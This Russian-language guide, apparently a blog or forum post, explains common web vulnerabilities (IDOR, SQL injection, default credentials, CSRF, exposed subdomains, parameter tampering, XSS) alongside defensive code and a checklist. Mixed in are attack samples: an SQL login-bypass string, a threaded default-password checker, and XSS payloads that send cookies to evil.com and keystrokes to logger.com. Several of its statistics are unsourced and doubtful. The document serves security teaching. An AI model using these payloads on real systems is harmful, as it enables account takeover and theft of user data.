По данным OWASP 2024,
более 67% веб-приложений содержат критические уязвимости, способные привести к утечке данных или полной компрометации системы. Ежегодные потери компаний от эксплуатации таких уязвимостей превышают
$6 триллионов глобально. В этом руководстве мы разберем самые опасные уязвимости веб-приложений, которые встречаются в 2025 году, покажем реальные примеры эксплуатации и дадим конкретные рекомендации по защите.
Оглавление
- IDOR — прямые ссылки на объекты
- SQL Injection — инъекции в базы данных
- Дефолтные учетные данные
- CSRF — подделка межсайтовых запросов
- Открытые тестовые поддомены
- Небезопасная передача параметров
- XSS — межсайтовый скриптинг
- Таблица критичности уязвимостей
- Чек-лист проверки безопасности
- Инструменты для пентеста
- FAQ по безопасности
1. IDOR (Insecure Direct Object Reference) — критическая угроза персональным данным
Что такое IDOR уязвимость?
IDOR — это уязвимость, позволяющая получить несанкционированный доступ к объектам системы через прямые ссылки. В 2024 году IDOR занимает
4-е место в рейтинге OWASP Top 10, затрагивая 35% всех веб-приложений.
Реальный пример эксплуатации
HTTP:
Код:
GET /api/users/documents/123456.pdf HTTP/1.1
Host:
example.com
Authorization:
Bearer [user_token]
Простым изменением ID документа на
,
и т.д., атакующий получает доступ к документам всех пользователей системы.
Практический пример уязвимого кода (PHP):
PHP:
Код:
// ❌ Уязвимый код
$documentId
=
$_GET
[
'id'
]
;
$document
=
$db
-
>
query
(
"SELECT * FROM documents WHERE id = $documentId"
)
;
echo
json_encode
(
$document
)
;
// ✅ Безопасный код
$documentId
=
$_GET
[
'id'
]
;
$userId
=
$_SESSION
[
'user_id'
]
;
$document
=
$db
-
>
prepare
(
"SELECT * FROM documents WHERE id = ? AND user_id = ?"
)
;
$document
-
>
execute
(
[
$documentId
,
$userId
]
)
;
echo
json_encode
(
$document
-
>
fetch
(
)
)
;
Методы защиты от IDOR:
- Проверка прав доступа на уровне бизнес-логики
- Использование UUID вместо последовательных ID:
Код:
3fk5vsl329dthpo5yrd36iute4s
- Непрямые ссылки через хеш-таблицы
- Логирование всех попыток доступа к чувствительным данным
- Rate limiting для предотвращения массового перебора
Практика поиска IDOR: в
гайде по Bug Bounty 2025 детально разбирается методология поиска IDOR в API и составление профессиональных отчетов с расчетом бизнес-рисков — must-read для начинающих баг-хантеров.
Инструменты для поиска IDOR:
- Burp Suite с расширением Autorize
- OWASP ZAP с активным сканированием
- Param Miner для обнаружения скрытых параметров
2. SQL Injection — топовая угроза баз данных
Статистика и критичность
SQL-инъекции остаются в
ТОП-3 самых опасных уязвимостей по версии OWASP. В 2024 году через SQL-инъекции было скомпрометировано более
3 миллионов записей персональных данных только в РФ.
Типы SQL инъекций:
ТипОписаниеКритичность
Classic SQLiПрямое внедрение SQL-кодаКритическая
Blind SQLiБез прямого вывода данныхВысокая
Time-based BlindИспользование временных задержекСредняя
Union-basedОбъединение запросовКритическая
Error-basedЧерез сообщения об ошибкахВысокая
Пример эксплуатации:
SQL:
Код:
-- Уязвимый запрос
SELECT
*
FROM
users
WHERE
login
=
'$_POST[login]'
AND
password
=
'$_POST[password]'
-- Эксплуатация
login: admin
' OR '
1
'='
1
'--
password: любой
-- Результирующий запрос
SELECT * FROM users WHERE login = '
admin
' OR '
1
'='
1
'--'
AND
password
=
'любой'
Защита от SQL инъекций:
Python:
Код:
# ❌ Уязвимый код Python
query
=
f"SELECT * FROM users WHERE id ={user_id}"
cursor
.
execute
(
query
)
# ✅ Безопасный код с параметризованными запросами
query
=
"SELECT * FROM users WHERE id = %s"
cursor
.
execute
(
query
,
(
user_id
,
)
)
Рекомендации по защите:
- Параметризованные запросы (Prepared Statements)
- Хранимые процедуры с валидацией входных данных
- Экранирование спецсимволов как дополнительная мера
- Принцип наименьших привилегий для БД
- WAF (Web Application Firewall) с правилами для SQL
Безопасный PHP. Защита от SQL-Injection - практические примеры защиты
3. Дефолтные учетные данные — простейшая точка входа
Реальный кейс: Портал госуслуг
В ходе пентеста портала государственных услуг была обнаружена админ-панель со стандартными учетными данными
. Это давало доступ к:
- Загрузке произвольных файлов
- HTTP-методу DELETE
- Множественным IDOR уязвимостям
- Возможности изменения паролей других пользователей
Топ-10 опасных дефолтных учетных записей:
СервисЛогинПарольРиск
TomcattomcattomcatRCE
WebLogicweblogicweblogic1RCE
JenkinsadminadminCI/CD компрометация
phpMyAdminroot(пустой)Доступ к БД
MongoDBadminadminNoSQL инъекции
Автоматизация поиска дефолтных паролей:
Python:
Код:
import
requests
from
concurrent
.
futures
import
ThreadPoolExecutor
default_creds
=
[
(
'admin'
,
'admin'
)
,
(
'administrator'
,
'password'
)
,
(
'root'
,
'root'
)
,
(
'test'
,
'test'
)
]
def
check_login
(
url
,
username
,
password
)
:
try
:
response
=
requests
.
post
(
f"{url}/login"
,
data
=
{
'username'
:
username
,
'password'
:
password
}
,
timeout
=
5
)
if
response
.
status_code
==
200
and
'dashboard'
in
response
.
text
:
print
(
f"[+] Valid:{username}:{password}"
)
return
True
except
:
pass
return
False
# Многопоточная проверка
with
ThreadPoolExecutor
(
max_workers
=
10
)
as
executor
:
futures
=
[
executor
.
submit
(
check_login
,
target_url
,
u
,
p
)
for
u
,
p
in
default_creds
]
4. CSRF — подделка межсайтовых запросов
Критичность в современных приложениях
CSRF атаки особенно опасны в системах с
SMS-авторизацией и могут привести к:
- SMS-флуду (финансовые потери)
- Account Takeover (захват аккаунтов)
- Несанкционированные транзакции
- Изменение критических настроек
Пример эксплуатации CSRF в регистрации:
HTML:
Код:
// Автоматическая отправка формы каждые 5 секунд
setInterval(() => {
document.getElementById('csrf').submit();
}, 5000);
Комплексная защита от CSRF:
JavaScript
:
Код:
// Генерация CSRF-токена (Node.js + Express)
const
crypto
=
require
(
'crypto'
)
;
app
.
use
(
(
req, res, next
)
=>
{
if
(
!
req
.
session
.
csrfToken
)
{
req
.
session
.
csrfToken
=
crypto
.
randomBytes
(
32
)
.
toString
(
'hex'
)
;
}
res
.
locals
.
csrfToken
=
req
.
session
.
csrfToken
;
next
(
)
;
}
)
;
// Валидация токена
app
.
post
(
'/critical-action'
,
(
req, res
)
=>
{
if
(
req
.
body
.
csrf_token
!==
req
.
session
.
csrfToken
)
{
return
res
.
status
(
403
)
.
json
(
{
error
:
'Invalid CSRF token'
}
)
;
}
// Выполнение действия
}
)
;
Дополнительные меры защиты:
- Double Submit Cookie паттерн
- SameSite Cookie атрибут
- Проверка Referer/Origin заголовков
- CAPTCHA для критических операций
- Тайм-ауты между запросами (rate limiting)
5. Открытые тестовые поддомены — скрытая угроза
Статистика обнаружений
По данным исследования 2024 года,
73% компаний имеют незащищенные тестовые поддомены:
- test.example.com
- dev.example.com
- staging.example.com
- api-test.example.com
Автоматизированный поиск поддоменов:
Bash:
Код:
# Использование Sublist3r
python sublist3r.py -d example.com -o subdomains.txt
# Массовое сканирование с Amass
amass enum -passive -d example.com -o amass_results.txt
# Проверка DNS-записей
for
subdomain
in
$(cat subdomains.txt)
;
do
dig
+short
$subdomain
done
Типичные находки на тестовых поддоменах:
Тип файлаРискЧастота обнаружения
.env файлыКритический45%
SQL дампыКритический23%
Конфиг файлыВысокий67%
Логи с паролямиКритический31%
Git репозиторииВысокий28%
Защита поддоменов:
NGINX:
Код:
# Nginx конфигурация для защиты тестового поддомена
server
{
listen
443
ssl
;
server_name
test
.
example
.
com
;
# IP-based restriction
allow
192.168
.1
.0
/
24
;
# Офисная сеть
deny
all
;
# Basic authentication
auth_basic
"Restricted Access"
;
auth_basic_user_file
/
etc
/
nginx
/
.
htpasswd
;
# Отключение индексации
add_header
X
-
Robots
-
Tag
"noindex, nofollow, noarchive"
;
}
6. Небезопасная передача параметров
Критический пример: изменение баланса
В одном из сервисов рассылки сообщений был обнаружен следующий POST-запрос:
HTTP:
Код:
POST /api/user/update HTTP/1.1
Content-Type:
application/json
{
"username": "user123",
"email": "user@example.com",
"balance": 100.00, // ← Критическая уязвимость!
"role": "user" // ← Повышение привилегий!
}
Эксплуатация для Stored XSS:
JavaScript
:
Код:
// Изменение имени пользователя на XSS payload
{
"username"
:
"fetch('//evil.com/steal?c='+document.cookie)"
,
"balance"
:
999999
}
Безопасная реализация:
Python:
Код:
# Flask (Python) пример
from
flask
import
request
,
jsonify
from
functools
import
wraps
def
validate_user_update
(
f
)
:
@wraps
(
f
)
def
decorated_function
(
*
args
,
**
kwargs
)
:
allowed_fields
=
[
'username'
,
'email'
]
# Только разрешенные поля
# Фильтрация входных данных
filtered_data
=
{
k
:
v
for
k
,
v
in
request
.
json
.
items
(
)
if
k
in
allowed_fields
}
# XSS защита
for
field
in
filtered_data
:
filtered_data
[
field
]
=
escape_html
(
filtered_data
[
field
]
)
request
.
filtered_data
=
filtered_data
return
f
(
*
args
,
**
kwargs
)
return
decorated_function
@app.route
(
'/api/user/update'
,
methods
=
[
'POST'
]
)
@validate_user_update
@require_auth
def
update_user
(
)
:
# Используем только отфильтрованные данные
user
.
update
(
request
.
filtered_data
)
return
jsonify
(
{
'status'
:
'success'
}
)
7. XSS (Cross-Site Scripting) — универсальная угроза
Типы XSS атак в 2025:
ТипОписаниеПроцент от всех XSS
Reflected XSSОтраженный в ответе сервера35%
Stored XSSСохраненный в БД45%
DOM-based XSSВ клиентском JavaScript20%
Современные XSS payloads:
JavaScript
:
Код:
// Обход фильтров 2025
// Кража JWT токенов
// Keylogger через XSS
document
.
onkeypress
=
function
(
e
)
{
fetch
(
'//logger.com/key?k='
+
e
.
key
)
;
}
Комплексная защита от XSS:
JavaScript
:
Код:
// Content Security Policy (CSP)
app
.
use
(
(
req, res, next
)
=>
{
res
.
setHeader
(
"Content-Security-Policy"
,
"default-src 'self'; "
+
"script-src 'self' 'nonce-"
+
generateNonce
(
)
+
"'; "
+
"style-src 'self' 'unsafe-inline'; "
+
"img-src 'self' data: https:; "
+
"connect-src 'self'"
)
;
next
(
)
;
}
)
;
// Санитизация на клиенте (DOMPurify)
import
DOMPurify
from
'dompurify'
;
const
clean
=
DOMPurify
.
sanitize
(
dirty
,
{
ALLOWED_TAGS
:
[
'b'
,
'i'
,
'em'
,
'strong'
,
'a'
]
,
ALLOWED_ATTR
:
[
'href'
]
}
)
;
8. Таблица критичности уязвимостей
УязвимостьCVSS ScoreСложность эксплуатацииПотенциальный ущербЧастота в 2025
SQL Injection9.8НизкаяКритический23%
IDOR8.6НизкаяВысокий35%
XSS7.5СредняяСредний45%
CSRF6.8СредняяСредний18%
Default Creds9.0Очень низкаяКритический31%
Open Subdomains7.2НизкаяВысокий73%
Parameter Tampering6.5СредняяСредний28%
9. Чек-лист проверки безопасности
Аутентификация и авторизация
- [ ] Отсутствие дефолтных учетных данных
- [ ] Сложность паролей минимум 12 символов
- [ ] Двухфакторная аутентификация для админов
- [ ] Блокировка после 5 неудачных попыток входа
- [ ] Использование bcrypt/scrypt для хеширования паролей
Защита от инъекций
- [ ] Параметризованные SQL запросы
- [ ] Валидация всех входных данных
- [ ] Экранирование специальных символов
- [ ] WAF с актуальными правилами
- [ ] Регулярные сканирования на SQLi
Защита от XSS
- [ ] Content Security Policy настроен
- [ ] Санитизация пользовательского ввода
- [ ] HttpOnly флаг для cookies
- [ ] X-XSS-Protection заголовок
Контроль доступа
- [ ] Проверка прав на каждый запрос
- [ ] UUID вместо инкрементных ID
- [ ] Логирование всех критических операций
- [ ] Rate limiting настроен
- [ ] CORS правильно сконфигурирован
Инфраструктура
- [ ] Тестовые поддомены закрыты
- [ ] Отсутствие открытых портов
- [ ] SSL/TLS последней версии
- [ ] Регулярное обновление ПО
- [ ] Резервное копирование
10. Инструменты для пентеста
Сканеры уязвимостей
ИнструментНазначениеЛицен зия
OWASP ZAPКомплексное сканированиеOpen Source
Burp SuiteПрофессиональный пентестCommercial/Community
SQLMapПоиск SQL инъекцийOpen Source
NiktoСканер веб-серверовOpen Source
NessusСканер инфраструктурыCommercial
Специализированные утилиты
Bash:
Код:
# Поиск поддоменов
sublist3r -d example.com -o subs.txt
amass enum -d example.com
dnsenum example.com
# Сканирование портов
nmap -sV -sC -O -p- example.com
masscan -p1-65535
192.168
.1.0/24 --rate
=
10000
# Поиск директорий
gobuster
dir
-u https://example.com -w /usr/share/wordlists/dirb/common.txt
ffuf -w wordlist.txt -u https://example.com/FUZZ
# Анализ JavaScript
LinkFinder -i https://example.com -o js_endpoints.txt
JSParser --url https://example.com
Методология тестирования: детальное руководство по
фаззингу веб-приложений поможет систематизировать поиск IDOR и других логических уязвимостей через анализ параметров и заголовков.
Менеджеры паролей с открытым кодом
- Pass - минималистичный CLI менеджер
- Bitwarden - кроссплатформенный с синхронизацией
- KeePassXC - локальное хранилище
11. FAQ — частые вопросы по безопасности
Что такое IDOR уязвимость и как её найти?
IDOR (Insecure Direct Object Reference) — это уязвимость контроля доступа, когда приложение использует прямые ссылки на объекты без проверки прав. Найти можно через изменение ID в URL, параметрах запроса или теле POST-запроса. Используйте Burp Suite с расширением Autorize для автоматизации.
Как защититься от SQL injection в PHP?
Используйте
PDO с подготовленными запросами:
PHP:
Код:
$stmt
=
$pdo
-
>
prepare
(
"SELECT * FROM users WHERE email = :email"
)
;
$stmt
-
>
execute
(
[
'email'
=
>
$email
]
)
;
Никогда не конкатенируйте переменные напрямую в SQL-запросы.
Какой сканер уязвимостей лучше для начинающих?
OWASP ZAP — бесплатный, с графическим интерфейсом и автоматическим режимом. Начните с него, затем переходите на Burp Suite Community Edition.
Что делать если нашел уязвимость на чужом сайте?
- Не эксплуатируйте находку
- Проверьте наличие Bug Bounty программы
- Свяжитесь с владельцем через security@domain.com
- Дайте время на исправление (обычно 90 дней)
- Только потом публикуйте (responsible disclosure)
Как часто нужно проводить пентест?
Минимум
2 раза в год для критической инфраструктуры. После каждого major релиза. При изменении архитектуры. Обязательно перед запуском в продакшн.
Можно ли полностью защититься от всех уязвимостей?
Нет, 100% защиты не существует. Цель — минимизировать риски через defense in depth (многоуровневую защиту), регулярные аудиты и обучение команды.
Какие уязвимости самые опасные в 2025?
По OWASP Top 10 (2024):
- Broken Access Control (включая IDOR)
- Cryptographic Failures
- Injection (SQL, NoSQL, LDAP)
Нужен ли WAF если код безопасный?
Да, WAF — это дополнительный уровень защиты. Он поможет при zero-day уязвимостях и ошибках разработчиков.
Как проверить сайт на XSS?
- Вручную: вставьте
во все поля ввода
- Автоматически: используйте XSStrike или dalfox
- Проверьте reflected, stored и DOM-based векторы
Что важнее: пентест или код-ревью?
Оба критичны. Код-ревью находит логические ошибки, пентест — реальные векторы атак. Идеально проводить оба.
Заключение
Безопасность веб-приложений — это непрерывный процесс, требующий комплексного подхода. Регулярные пентесты, обновление компонентов, обучение команды и следование best practices помогут минимизировать риски.
Следующие шаги:- Проведите аудит вашей инфраструктуры по чек-листу выше
- Настройте автоматическое сканирование уязвимостей
- Внедрите процесс Security Code Review
- Запустите Bug Bounty программу
Нужна профессиональная проверка безопасности? Обратитесь к сертифицированным специалистам для проведения комплексного пентеста вашей инфраструктуры.